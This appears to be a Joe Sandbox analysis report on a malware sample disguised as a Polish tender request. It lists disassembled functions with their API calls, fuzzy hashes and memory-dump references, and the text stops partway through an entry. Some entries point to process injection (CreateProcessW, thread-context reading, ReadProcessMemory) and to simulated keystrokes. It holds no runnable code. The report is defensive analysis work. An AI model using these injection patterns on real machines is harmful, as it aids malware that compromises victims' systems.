Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: AllocateException@8HeapThrow_mallocstd::bad_alloc::bad_allocstd::bad_exception::bad_exceptionstd::exception::exception
String ID:
API String ID: 1411284514-0
Opcode ID: ca7221cdd9cc9326792a0c346bb7c35cd30f9974032eaa45b6addcc39664c516
Instruction ID: c554e94cc15d94fff19a40754e7570613bf3612ee9c26c673f8185df9075a277
Opcode Fuzzy Hash: ca7221cdd9cc9326792a0c346bb7c35cd30f9974032eaa45b6addcc39664c516
Instruction Fuzzy Hash: 6FF0E23550060A66CF08B723EC06ADE3B649F11798B10403BFA20552F2DF6DADC9865C

Function 004734B7 Relevance: 4.7, APIs: 3, Instructions: 234COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c2b84d901eedfcb5732c73c427cf3e6a40f349a1394e6728fcd5bdf3f2a5d4d9
Instruction ID: a1f682be926937ece900e9fcc50ccc13891f43ead78ba7c6857800eee9f0599c
Opcode Fuzzy Hash: c2b84d901eedfcb5732c73c427cf3e6a40f349a1394e6728fcd5bdf3f2a5d4d9
Instruction Fuzzy Hash: EC81D2756043009FC310EF65C985B6AB7E4EF84315F008D2EF988AB392D779E909CB96

Function 0040F110 Relevance: 4.5, APIs: 3, Instructions: 32registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNELBASE(80000001,0040F0EE,00000000,00000001,80000001,?,0040F0EE,80000001,Control Panel\Mouse,SwapMouseButtons,00000004,?,?,0044BA28), ref: 0040F132
RegQueryValueExW.KERNELBASE(?,?,00000000,00000000,80000001,80000001,?,0040F0EE,80000001,Control Panel\Mouse,SwapMouseButtons,00000004,?,?,0044BA28), ref: 0040F14F
RegCloseKey.KERNELBASE(00000000,?,?,00000000,00000000,80000001,80000001,?,0040F0EE,80000001,Control Panel\Mouse,SwapMouseButtons,00000004,?,?,0044BA28), ref: 0040F159

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID:
API String ID: 3677997916-0
Opcode ID: 2fc94d7b08a1a7677ebb25c0c676948635cded20fa34e442ec21f1e1bf5971ab
Instruction ID: 6acd5c45b0bc896a902747136fbadff1bb775023c46fd22fba7b324c5144c726
Opcode Fuzzy Hash: 2fc94d7b08a1a7677ebb25c0c676948635cded20fa34e442ec21f1e1bf5971ab
Instruction Fuzzy Hash: 60F0BDB0204202ABD614DF54DD88E6BB7F9EF88704F10492DB585D7250D7B4A804CB26

Function 0043526E Relevance: 4.5, APIs: 3, Instructions: 26COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 00435278

Part of subcall function 004138BA: __FF_MSGBANNER.LIBCMT ref: 004138DD
Part of subcall function 004138BA: __NMSG_WRITE.LIBCMT ref: 004138E4
Part of subcall function 004138BA: RtlAllocateHeap.NTDLL(00000000,0041172A,?,?,?,?,00411739,?,00401C0B), ref: 00413931

_malloc.LIBCMT ref: 00435288
_malloc.LIBCMT ref: 00435298

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: _malloc$AllocateHeap
String ID:
API String ID: 680241177-0
Opcode ID: d11b1792ef3d24f06ef5636d78d46cf58a843b0d423fa777cd48d8e801ebef30
Instruction ID: 30b75876ff52ae1c35022de4a6700901ba1db26c97f4d16f7fcf584af9a5a73f
Opcode Fuzzy Hash: d11b1792ef3d24f06ef5636d78d46cf58a843b0d423fa777cd48d8e801ebef30
Instruction Fuzzy Hash: E5F0A0B1500F0046E660AB3198457C7A2E09B14307F00186FB6855618ADA7C69C4CEAC

Function 0041511A Relevance: 3.0, APIs: 2, Instructions: 46COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 00415147
__lock_file.LIBCMT ref: 00415172

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: __lock_file_memset
String ID:
API String ID: 26237723-0
Opcode ID: c74911371e76cb9dc4786cfdbe28690debad29cef5acae8c4501fea9e7903076
Instruction ID: c8a12bf2a45d0ac11074f8cac28b928f9e20b60047ac9024d749846706a082ab
Opcode Fuzzy Hash: c74911371e76cb9dc4786cfdbe28690debad29cef5acae8c4501fea9e7903076
Instruction Fuzzy Hash: 32012971C00609FBCF22AF65DC029DF3B31AF44714F04815BF82416261D7798AA2DF99

Function 00414E94 Relevance: 3.0, APIs: 2, Instructions: 39COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00417F23: __getptd_noexit.LIBCMT ref: 00417F23

Part of subcall function 00417EBB: __decode_pointer.LIBCMT ref: 00417EC6

__lock_file.LIBCMT ref: 00414EE4

Part of subcall function 00415965: __lock.LIBCMT ref: 0041598A

__fclose_nolock.LIBCMT ref: 00414EEE

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: __decode_pointer__fclose_nolock__getptd_noexit__lock__lock_file
String ID:
API String ID: 717694121-0
Opcode ID: 6051778e024176e7de16a1974b8d1b3b80c3b8a23747dfcb666cdf4e7799d8f6
Instruction ID: 225a509e04b880138f2478077c57af59103cae2c072c29012e7845c0956b1514
Opcode Fuzzy Hash: 6051778e024176e7de16a1974b8d1b3b80c3b8a23747dfcb666cdf4e7799d8f6
Instruction Fuzzy Hash: DEF06270D0470499C721BB6A9802ADE7AB0AFC1338F21864FE479A72D1C77C46C29F5D

Function 004098B8 Relevance: 3.0, APIs: 2, Instructions: 32windowCOMMON

Download Yara Rule

APIs

TranslateMessage.USER32(?), ref: 004098F6
DispatchMessageW.USER32(?), ref: 00409901

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: Message$DispatchTranslate
String ID:
API String ID: 1706434739-0
Opcode ID: 743ba5b075e4e96b6aa8f27e888cbbcb244a1ef3297f43ff84cf2107d4412f6a
Instruction ID: 6b3a2aeb923af73eb4cdb1bab797699f2cf27729a5018e8568c19fb4e3feaf67
Opcode Fuzzy Hash: 743ba5b075e4e96b6aa8f27e888cbbcb244a1ef3297f43ff84cf2107d4412f6a
Instruction Fuzzy Hash: D4F05471114301AEDA24DBE58D41B5BB3A8AFD8700F408C2EBA51E61C1FBF8E404C76A

Function 004098B6 Relevance: 3.0, APIs: 2, Instructions: 31windowCOMMON

Download Yara Rule

APIs

TranslateMessage.USER32(?), ref: 004098F6
DispatchMessageW.USER32(?), ref: 00409901

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: Message$DispatchTranslate
String ID:
API String ID: 1706434739-0
Opcode ID: fb629fc6ca96518639a0c0a81923e3da878f7f29ff55e6bd70df59113b88f2fd
Instruction ID: cc4909b6a78c34842ee59a7900970f574117f06624f4f9c7373c79b1fb9dfc76
Opcode Fuzzy Hash: fb629fc6ca96518639a0c0a81923e3da878f7f29ff55e6bd70df59113b88f2fd
Instruction Fuzzy Hash: DDF054B1114301AADA14DBE58D41B5BB3A4AF94740F408C2EBA11E52C1EBFCD504C71A

Function 03EDEEED Relevance: 1.9, APIs: 1, Instructions: 400processthreadCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNELBASE(?,00000000), ref: 03EDF71D
Wow64GetThreadContext.KERNEL32(?,00010007), ref: 03EDF741
ReadProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 03EDF763

Memory Dump Source

Source File: 00000001.00000002.2059113429.0000000003EDD000.00000040.00000020.00020000.00000000.sdmp, Offset: 03EDD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3edd000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: Process$ContextCreateMemoryReadThreadWow64
String ID:
API String ID: 2438371351-0
Opcode ID: 935c44ad8318b3af66d252774f477c9026677184fbf87e93bc0843909b837ee7
Instruction ID: 72fb10a191f6847f52d0616f51186ac625cb9663daec7e6b06e5ce98e1acbd89
Opcode Fuzzy Hash: 935c44ad8318b3af66d252774f477c9026677184fbf87e93bc0843909b837ee7
Instruction Fuzzy Hash: 8612C024E24658C6EB24DF64D8507DEB232EF68300F1061E9910DEB7A5E77A4F81CF5A

Function 00410D40 Relevance: 1.6, APIs: 1, Instructions: 94memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE ref: 00410DEF

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
Instruction ID: fb1d736feddc8336b94c661b4f3a99b04f66f7614ca83ae43ac4a02a862e88ab
Opcode Fuzzy Hash: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
Instruction Fuzzy Hash: 1331D574A00105DFC718DF99E490AAAFBA6FB49304B2486A6E409CB751D774EDC1CBC5

Function 004092C0 Relevance: 1.6, APIs: 1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3961a28c277083be2aa3af59c567e925e17c7cc277bd15d9b1b027d84e9ba52e
Instruction ID: 573dba848690e0cdfd4c9be45b5663ff9194aa529e9341154cf92adfcd841cf8
Opcode Fuzzy Hash: 3961a28c277083be2aa3af59c567e925e17c7cc277bd15d9b1b027d84e9ba52e
Instruction Fuzzy Hash: 5E11C374200200ABC7249FAAD8D5F2A73A5AF45304B244C6FE845E7392D73CEC81EB5E

Function 00452DAE Relevance: 1.5, APIs: 1, Instructions: 46COMMON

Download Yara Rule

APIs

Part of subcall function 0041171A: _malloc.LIBCMT ref: 00411734

Part of subcall function 0041171A: std::bad_alloc::bad_alloc.LIBCMT ref: 00411757
Part of subcall function 0041171A: std::bad_exception::bad_exception.LIBCMT ref: 0041176B
Part of subcall function 0041171A: __CxxThrowException@8.LIBCMT ref: 00411779

_memset.LIBCMT ref: 00452DE9

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: Exception@8Throw_malloc_memsetstd::bad_alloc::bad_allocstd::bad_exception::bad_exception
String ID:
API String ID: 2751567902-0
Opcode ID: f72b79abc5de27323e3d3e6c8f936525bfb853d4af2f66d01fdfa3e888ef2691
Instruction ID: c2a3b2dfb6b158e2ccc1f5ef864fc4bb8e06cf4791c66092a4707409b716d428
Opcode Fuzzy Hash: f72b79abc5de27323e3d3e6c8f936525bfb853d4af2f66d01fdfa3e888ef2691
Instruction Fuzzy Hash: 1101D7B92002409FD350EF1DC481B56B7E1FFA9304F25C95EE2898B392D776E846CB95

Function 00401108 Relevance: 1.5, APIs: 1, Instructions: 36COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,?,?,?), ref: 00401123

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: ProcWindow
String ID:
API String ID: 181713994-0
Opcode ID: 2bcff8431ba1ff294e2b1c33dceaa93ee25f984dfbecb3b506615433fd530346
Instruction ID: 72bdf1ad184d721e15e17473fba0dc1faec6c1a9a9d1f3fcb71c15abd8c9f185
Opcode Fuzzy Hash: 2bcff8431ba1ff294e2b1c33dceaa93ee25f984dfbecb3b506615433fd530346
Instruction Fuzzy Hash: FDF05436700118A7DF38995CE89ACFF632AD7ED350F418227FD152B3A6813C5C41966E

Function 0041AA31 Relevance: 1.5, APIs: 1, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

HeapCreate.KERNELBASE(00000000,00001000,00000000), ref: 0041AA46

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: 715419928b85d2867e9ba06f33a68846dd0d9c70f7b25bc38942ce62b1fa172d
Instruction ID: 99ddfbee892492b32903703907324a593b21f4d4a70cf9c354be63060b8faba1
Opcode Fuzzy Hash: 715419928b85d2867e9ba06f33a68846dd0d9c70f7b25bc38942ce62b1fa172d
Instruction Fuzzy Hash: 56D05E325543449EDF009F71AC087663FDCE788395F008836BC1CC6150E778C950CA08

Function 0040116E Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,?,?,?), ref: 00401123

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: ProcWindow
String ID:
API String ID: 181713994-0
Opcode ID: 837c1f5b160989e4bc04331483680d437582dbd9ffcfcea34caefcb6c1da81af
Instruction ID: 4c36cba44089d0e03573cc5e8dee84df23505be31ebc2729507753268ee0d302
Opcode Fuzzy Hash: 837c1f5b160989e4bc04331483680d437582dbd9ffcfcea34caefcb6c1da81af
Instruction Fuzzy Hash: C3C08C72100008BB8700DE04EC44CFBB72CEBD8310700C20BBC0586201C230885097A1

Function 00414E06 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

__wfsopen.LIBCMT ref: 00414E13

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: __wfsopen
String ID:
API String ID: 197181222-0
Opcode ID: d1a4d26266dcb7911ef956bf4afcad96e19892d5a9e8770749e386b2bd63db79
Instruction ID: 6225ca515e7db1e5d7746fb8cf1e0ad45b41b4d1817cc5a1d8a93eb941133566
Opcode Fuzzy Hash: d1a4d26266dcb7911ef956bf4afcad96e19892d5a9e8770749e386b2bd63db79
Instruction Fuzzy Hash: EDC09B7644010C77CF122943FC02E453F1997C0764F044011FB1C1D561D577D5619589

Function 03EDFEEC Relevance: 1.3, APIs: 1, Instructions: 21sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(000001F4), ref: 03EDFF01

Memory Dump Source

Source File: 00000001.00000002.2059113429.0000000003EDD000.00000040.00000020.00020000.00000000.sdmp, Offset: 03EDD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3edd000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 647f186050b41918f79179839cbc1a488579cc5f77474145a25b6e124dddc6ea
Instruction ID: a81e32b4fdaa6577f6dd53942ebe1544bfc04afc4949f48bdae2d42ca580943f
Opcode Fuzzy Hash: 647f186050b41918f79179839cbc1a488579cc5f77474145a25b6e124dddc6ea
Instruction Fuzzy Hash: 26E0BF7494410DEFDB00EFA8D5496DE7BB4EF04301F1006A1FD05E7681DB309E558A62

Function 03EDFEF0 Relevance: 1.3, APIs: 1, Instructions: 18sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(000001F4), ref: 03EDFF01

Memory Dump Source

Source File: 00000001.00000002.2059113429.0000000003EDD000.00000040.00000020.00020000.00000000.sdmp, Offset: 03EDD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3edd000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 368835ae2f5fba710e6c01549c2017e46dd928bc4d187f44ede00cceab054826
Instruction ID: 8360447405d97ad7f841cbc6a3a4cc812796bb3b114b4f9ef00af7e78bb87f66
Opcode Fuzzy Hash: 368835ae2f5fba710e6c01549c2017e46dd928bc4d187f44ede00cceab054826
Instruction Fuzzy Hash: 7BE0E67494410DDFDB00EFB8D5496DE7FB4EF04301F1002A1FD01E2281D7309D508A62

Non-executed Functions

Function 0047C08E Relevance: 74.2, APIs: 40, Strings: 2, Instructions: 676windowkeyboardCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 0047C158
DefDlgProcW.USER32(?,0000004E,?,?,004A83D8,?,004A83D8,?), ref: 0047C173
GetKeyState.USER32(00000011), ref: 0047C1A4
GetKeyState.USER32(00000009), ref: 0047C1AD
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 0047C1C0
GetKeyState.USER32(00000010), ref: 0047C1CA
GetWindowLongW.USER32(00000002,000000F0), ref: 0047C1DE
SendMessageW.USER32(00000002,0000110A,00000009,00000000), ref: 0047C20A
SendMessageW.USER32(00000002,0000113E,00000000,?), ref: 0047C22D
SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 0047C2D6
SendMessageW.USER32 ref: 0047C2FB

Strings

@GUI_DRAGID, xrefs: 0047C45E
F, xrefs: 0047C7ED

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: MessageSend$State$LongProcWindow
String ID: @GUI_DRAGID$F
API String ID: 1562745308-4164748364
Opcode ID: dcc01cbd87ddd492c2c278cbacd50e58f25e8ccd866e9ebab9dee97b514268e5
Instruction ID: f40edf6d5039c675f00343e7880f865f139be9e64e9b8d530a61de5f06f6045f
Opcode Fuzzy Hash: dcc01cbd87ddd492c2c278cbacd50e58f25e8ccd866e9ebab9dee97b514268e5
Instruction Fuzzy Hash: C6429F702042019FD714CF54C884FAB77A5EB89B04F548A6EFA48AB291DBB4EC45CB5A

Function 004375B0 Relevance: 43.9, APIs: 24, Strings: 1, Instructions: 126threadkeyboardwindowCOMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32(00000000,?,?,004448AF,?), ref: 004375B3
FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 004375D8
IsIconic.USER32(?), ref: 004375E1
ShowWindow.USER32(?,00000009,?,?,004448AF,?), ref: 004375EE
SetForegroundWindow.USER32(?), ref: 004375FD
GetWindowThreadProcessId.USER32(00000000,00000000), ref: 00437615
GetCurrentThreadId.KERNEL32 ref: 00437619
GetWindowThreadProcessId.USER32(?,00000000), ref: 00437624
AttachThreadInput.USER32(00000000,00000000,00000001,?,?,004448AF,?), ref: 00437632
AttachThreadInput.USER32(00000000,00000000,00000001,?,?,004448AF,?), ref: 00437638
AttachThreadInput.USER32(00000000,00000000,00000001,?,?,004448AF,?), ref: 0043763E
SetForegroundWindow.USER32(?), ref: 00437645
MapVirtualKeyW.USER32(00000012,00000000), ref: 00437654
keybd_event.USER32(00000012,00000000), ref: 0043765D
MapVirtualKeyW.USER32(00000012,00000000), ref: 0043766B
keybd_event.USER32(00000012,00000000), ref: 00437674
MapVirtualKeyW.USER32(00000012,00000000), ref: 00437682
keybd_event.USER32(00000012,00000000), ref: 0043768B
MapVirtualKeyW.USER32(00000012,00000000), ref: 00437699
keybd_event.USER32(00000012,00000000), ref: 004376A2
SetForegroundWindow.USER32(?), ref: 004376AD
AttachThreadInput.USER32(00000000,00000000,00000000,?,?,004448AF), ref: 004376CD
AttachThreadInput.USER32(00000000,00000000,00000000,?,?,004448AF), ref: 004376D3
AttachThreadInput.USER32(00000000,00000000,00000000,?,?,004448AF), ref: 004376D9

Strings

Shell_TrayWnd, xrefs: 004375D3

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
